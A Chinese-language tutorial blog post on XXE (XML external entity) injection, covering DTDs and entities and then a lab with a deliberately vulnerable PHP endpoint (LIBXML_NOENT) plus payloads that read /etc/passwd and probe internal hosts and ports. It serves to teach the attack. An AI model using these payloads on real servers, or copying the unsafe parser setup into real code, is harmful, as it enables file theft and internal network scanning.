XXE XML外部实体注入

编程入门 行业动态 更新时间:2024-10-25 11:30:21

XXE XML外部<a href=https://www.elefans.com/category/jswz/34/1770371.html style=实体注入"/>

XXE XML外部实体注入

XXE 外部实体注入

一, 简介

XXE(XML External Entity Injection)是一种 XML 注入攻击,它利用了 XML 解析器在处理 XML 文档时存在的漏洞。
攻击者通过在 XML 文档中插入外部实体的引用,可以引导 XML 解析器读取攻击者控制的外部文件,进而获取敏感信息或执行恶意代码。

二, XML DTD (文档类型定义)

XML DTD(文档类型定义)是一种定义XML文档结构的规范,它为XML文档提供了一种语法规则,规定了文档中所使用的元素、实体、元素的属性、元素与实体之间的关系。

xml
<!DOCTYPE note [  <!ELEMENT note (to,from,heading)>  <!ELEMENT to (#PCDATA)>  <!ELEMENT from (#PCDATA)>  <!ELEMENT heading (#PCDATA)>  
]>  
<note>  <to>Tove</to>  <from>Jani</from>  <heading>Reminder</heading>  
</note>

在XML文档中,使用DOCTYPE声明来引入DTD。DTD可以分为外部DTD和内部DTD两种类型。
内部DTD在XML文件的文件序言区域中定义。
外部DTD是一个独立的文件,需要用SYSTEM标签指定文件路径。

1. 内部实体引用

在 xml 文件内部定义实体(变量), 通过&引用.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [   <!ENTITY myEntity 'This is my entity'>
]>  
<note>&myEntity;</note>  

在这个例子中,使用<!ENTITY>声明定义了一个名为myEntity的实体,其值为字符串'This is my entity'。然后在XML文档中,通过在需要使用实体的地方添加&myEntity;来引用该实体。

2. 外部实体引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
3. 外部引用

从外部.dtd文件中加载实体.

Note.dtd 文件:

<!DOCTYPE note [  <!ENTITY myEntity 'This is my entity'>  
]>

xml 文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "Note.dtd">  
<note>&myEntity;</note>  

三, XXE 实验

编写一个接受xml数据的api: http://192.168.112.200/security/xxe.php

<?php
libxml_use_internal_errors(true); // 开启错误捕获
$xml = file_get_contents("php://input"); // 获取post提交的xml字符串
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); // 解析xml字符串if ($data === false) {echo "Failed loading XML\n";foreach(libxml_get_errors() as $error) {echo "\t", $error->message;}
} else {echo $data; // 输出解析后的内容
}
?>

前端使用post请求提交一段xml字符串:

1. 读取服务器的敏感文件 /etc/passwd 文件的内容.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
2. 探测服务器内网的ip和端口.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "http://192.168.112.202:80">
]>
<note>&file;</note>

更多推荐

XXE XML外部实体注入

本文发布于:2023-11-15 11:50:48,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1599119.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:实体   XXE   XML

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!